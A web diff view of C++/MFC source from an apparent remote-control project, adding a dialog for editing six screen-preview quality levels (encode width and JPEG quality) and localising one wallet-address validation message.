||||
|
||||
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
|
||||
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
// CPreviewLevelsDlg.h
|
||||
// 屏幕预览质量等级配置对话框:编辑 6 档 PreviewProfile(编码宽度 / JPEG 质量)。
|
||||
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
|
||||
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
|
||||
#pragma once
|
||||
|
||||
#include "LangManager.h"
|
||||
|
||||
class CPreviewLevelsDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
enum { IDD = IDD_PREVIEW_LEVELS };
|
||||
|
||||
// profiles: 指向 6 元素 PreviewProfile 数组,确认后写回
|
||||
CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
|
||||
: CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
|
||||
{
|
||||
}
|
||||
|
||||
protected:
|
||||
PreviewProfile* m_profiles;
|
||||
PreviewProfile m_working[QUALITY_COUNT];
|
||||
|
||||
static const char* LevelName(int i)
|
||||
{
|
||||
static const char* names[QUALITY_COUNT] = {
|
||||
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
|
||||
};
|
||||
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
|
||||
}
|
||||
|
||||
void LoadToControls()
|
||||
{
|
||||
CString s;
|
||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||
s.Format(_T("%d"), m_working[i].maxWidth);
|
||||
SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
|
||||
s.Format(_T("%d"), m_working[i].jpegQuality);
|
||||
SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
|
||||
}
|
||||
}
|
||||
|
||||
bool ReadInt(int id, int& out)
|
||||
{
|
||||
CString s;
|
||||
GetDlgItemText(id, s);
|
||||
s.Trim();
|
||||
if (s.IsEmpty()) return false;
|
||||
|
||||
int v = 0;
|
||||
for (int k = 0; k < s.GetLength(); k++) {
|
||||
TCHAR ch = s[k];
|
||||
if (ch < _T('0') || ch > _T('9')) return false;
|
||||
v = v * 10 + (ch - _T('0'));
|
||||
}
|
||||
out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ReadFromControls(CString& err)
|
||||
{
|
||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||
int w, q;
|
||||
if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
|
||||
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
|
||||
if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
|
||||
{ err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
|
||||
|
||||
if (w < 64 || w > 2560)
|
||||
{ err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
|
||||
if (q < 1 || q > 100)
|
||||
{ err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
|
||||
|
||||
m_working[i].maxWidth = w;
|
||||
m_working[i].jpegQuality = q;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void ResetToDefaults()
|
||||
{
|
||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||
m_working[i] = GetScreenPreviewProfile(i);
|
||||
}
|
||||
LoadToControls();
|
||||
}
|
||||
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
|
||||
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
|
||||
// 均经 _TR/_L 支持多语言翻译。
|
||||
SetWindowText(_TR("屏幕预览质量等级"));
|
||||
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL, _TR("等级"));
|
||||
SetDlgItemText(IDC_PLEVEL_LABEL_WIDTH, _TR("最大宽度"));
|
||||
SetDlgItemText(IDC_PLEVEL_LABEL_QUALITY, _TR("JPEG质量"));
|
||||
static const TCHAR* kLevelNames[QUALITY_COUNT] = {
|
||||
_T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
|
||||
_T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
|
||||
};
|
||||
for (int i = 0; i < QUALITY_COUNT; i++)
|
||||
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
|
||||
SetDlgItemText(IDC_PLEVEL_LABEL_HINT,
|
||||
_TR("最大宽度为期望编码宽度;JPEG 质量 1~100"));
|
||||
SetDlgItemText(IDC_PLEVEL_RESET, _TR("恢复默认"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||
m_working[i] = m_profiles[i];
|
||||
}
|
||||
LoadToControls();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual void OnOK() override
|
||||
{
|
||||
CString err;
|
||||
if (!ReadFromControls(err)) {
|
||||
MessageBox(err, _TR("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||
m_profiles[i] = m_working[i];
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||
{
|
||||
if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||
ResetToDefaults();
|
||||
return TRUE;
|
||||
}
|
||||
return CDialog::OnCommand(wParam, lParam);
|
||||
}
|
||||
};
|
||||
@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
|
||||
if (a[i].IsEmpty()) continue;
|
||||
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
|
||||
char tip[100];
|
||||
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
|
||||
sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
|
||||
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
Loaded 100 of 196 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user